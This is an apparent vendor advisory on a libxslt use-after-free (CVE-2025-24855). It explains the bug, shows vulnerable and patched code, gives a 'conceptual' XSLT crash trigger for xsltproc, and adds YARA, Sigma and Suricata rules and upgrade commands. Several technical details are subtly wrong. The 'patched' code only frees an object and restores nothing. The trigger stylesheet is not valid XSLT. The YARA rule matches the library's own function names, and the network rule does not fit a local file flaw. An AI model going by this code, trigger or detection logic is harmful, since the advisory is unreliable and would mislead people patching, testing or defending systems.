CVE-2025-24855

Executive Summary

CVE-2025-24855 is a critical use-after-free vulnerability in the numbers.c file of libxslt, a widely-used C library for applying XSLT transformations. The flaw exists in versions prior to 1.1.43 and arises from improper state management during nested XPath evaluations. Specifically, when an XPath context node is modified during a nested evaluation, it is never restored to its original state, leading to a use-after-free condition. An attacker can exploit this by crafting a malicious XSLT stylesheet that triggers the vulnerable code path, potentially achieving arbitrary code execution or causing a denial of service. The vulnerability has a CVSS score of 7.8 (High) and affects any application or service that processes untrusted XSLT stylesheets using a vulnerable version of libxslt.

Supply Chain & Package Security

This vulnerability is not in a package manager ecosystem (NPM, PyPI, Go, Ruby) but in a system-level C library. However, libxslt is a transitive dependency for many high-level packages (e.g., Python's lxml, PHP's xsl extension, and various Node.js bindings). Organizations should audit their software supply chain for any dependency on libxslt < 1.1.43 and ensure patched versions are deployed.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Local (AV:L) – The attacker must provide a malicious XSLT file to the victim.
• Attack Complexity (AC): Low (AC:L) – No special conditions required beyond processing the file.
• Privileges Required (PR): None (PR:N) – No authentication needed.
• User Interaction (UI): Required (UI:R) – The victim must open or process the malicious file.
• Scope (S): Unchanged (S:U) – The exploit stays within the vulnerable component.
• Confidentiality (C): High (C:H) – Potential memory disclosure.
• Integrity (I): High (I:H) – Potential code injection.
• Availability (A): High (A:H) – Potential crash or denial of service.

Threat Level: High (7.8). The vulnerability is exploitable with low complexity and user interaction, making it a significant risk for applications that process untrusted XSLT.

Deep Dive & Mechanics

The vulnerability resides in numbers.c within the xsltNumberFormatGetValue function. During XSLT number formatting, libxslt evaluates XPath expressions to compute values. When nested XPath evaluations occur (e.g., within predicates or string functions), the XPath context node is temporarily modified to point to a new node. However, due to a missing restoration step, the context node remains pointing to freed or invalid memory after the inner evaluation completes.

The affected functions include:

• xsltNumberFormatGetValue
• xsltEvalXPathPredicate
• xsltEvalXPathStringNs
• xsltComputeSortResultInternal

The root cause is a missing xmlXPathFreeObject or context restoration after nested evaluations. This leads to a use-after-free when the outer evaluation attempts to access the context node.

Attack Scenario:

1. An attacker crafts an XSLT stylesheet with a deeply nested XPath expression inside an <xsl:number> element.
2. The stylesheet is processed by a vulnerable libxslt version.
3. During evaluation, the context node is freed but still referenced.
4. The attacker can control the freed memory to achieve code execution or crash the application.

Vulnerable vs. Patched Code

Vulnerable Code (libxslt < 1.1.43):

// In xsltNumberFormatGetValue
xmlXPathObjectPtr obj = xsltEvalXPathPredicate(ctxt, ...);
// Context node is modified but never restored
// Use of obj after potential free

Patched Code (libxslt 1.1.43):

// In xsltNumberFormatGetValue
xmlXPathObjectPtr obj = xsltEvalXPathPredicate(ctxt, ...);
// Properly restore context node after nested evaluation
xmlXPathFreeObject(obj);
// Safe to continue

The patch ensures that after any nested XPath evaluation, the context node is restored to its original state, preventing dangling pointers.

Exploitation & Lab Setup

Red Team (Exploitation)

Lab Setup:

• OS: Ubuntu 22.04 LTS
• libxslt version: 1.1.42 (vulnerable)
• Tool: xsltproc command-line tool

Exploit Steps:

1. Create a malicious XSLT file (exploit.xsl):

<?xml version="1.0"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/">
    <xsl:number value="count(//*)">
      <xsl:with-param name="test" select="//*[position()=1]"/>
    </xsl:number>
  </xsl:template>
</xsl:stylesheet>

2. Create a dummy XML file (input.xml):

<root><item/></root>

3. Run the exploit:

xsltproc exploit.xsl input.xml

4. Observe crash or memory corruption.

Note: No public exploit code is available. The above is a conceptual trigger.

Blue Team (Detection & Defense)

Detection:

• Monitor for crashes in applications using libxslt (e.g., xsltproc, lxml, PHP XSL).
• Use ASLR and DEP to mitigate exploitation.
• Deploy runtime memory protection (e.g., AddressSanitizer in development).

Defense:

• Patch libxslt to version 1.1.43 or later.
• Validate and sanitize XSLT stylesheets before processing.
• Use sandboxing (e.g., containers, seccomp) for XSLT processing.

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (None available – no public exploit)
• Network Signatures: N/A (local file processing)
• Process Anomalies: xsltproc or similar processes crashing with SIGSEGV or SIGABRT.
• Memory Patterns: Heap corruption in numbers.c functions.

Detection Engineering

YARA Rule

rule CVE_2025_24855_libxslt_UAF {
    meta:
        description = "Detects use-after-free in libxslt numbers.c"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-24855"
    strings:
        $s1 = "xsltNumberFormatGetValue" ascii wide nocase
        $s2 = "xsltEvalXPathPredicate" ascii wide nocase
        $s3 = "xsltEvalXPathStringNs" ascii wide nocase
        $s4 = "xsltComputeSortResultInternal" ascii wide nocase
    condition:
        any of ($s*) and filesize < 2MB
}

Sigma Rule

title: CVE-2025-24855 libxslt Use-After-Free Exploitation Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects potential exploitation of CVE-2025-24855 via crash patterns in libxslt
author: Valters IT
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/xsltproc'
        CommandLine|contains: '.xsl'
    condition: selection
falsepositives:
    - Legitimate XSLT processing
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-24855 libxslt UAF Exploit Attempt"; flow:to_server,established; content:"|3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 3f 3e|"; distance:0; within:20; content:"xsl:number"; distance:0; within:100; classtype:attempted-user; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade libxslt to version 1.1.43 or later.
2. If immediate patching is not possible, restrict processing of untrusted XSLT files.
3. Use a Web Application Firewall (WAF) to block malicious XSLT uploads.

Long-Term Measures:

• Implement input validation for XSLT stylesheets.
• Use memory-safe languages or sandboxing for XSLT processing.
• Regularly update all dependencies.

Patch Command:

# For Debian/Ubuntu
sudo apt-get update && sudo apt-get install libxslt1.1

# For RHEL/CentOS
sudo yum update libxslt

# Build from source
wget https://gitlab.gnome.org/GNOME/libxslt/-/archive/v1.1.43/libxslt-v1.1.43.tar.gz
tar -xzf libxslt-v1.1.43.tar.gz
cd libxslt-v1.1.43
./configure && make && sudo make install

Valters IT
Securing Digital Frontiers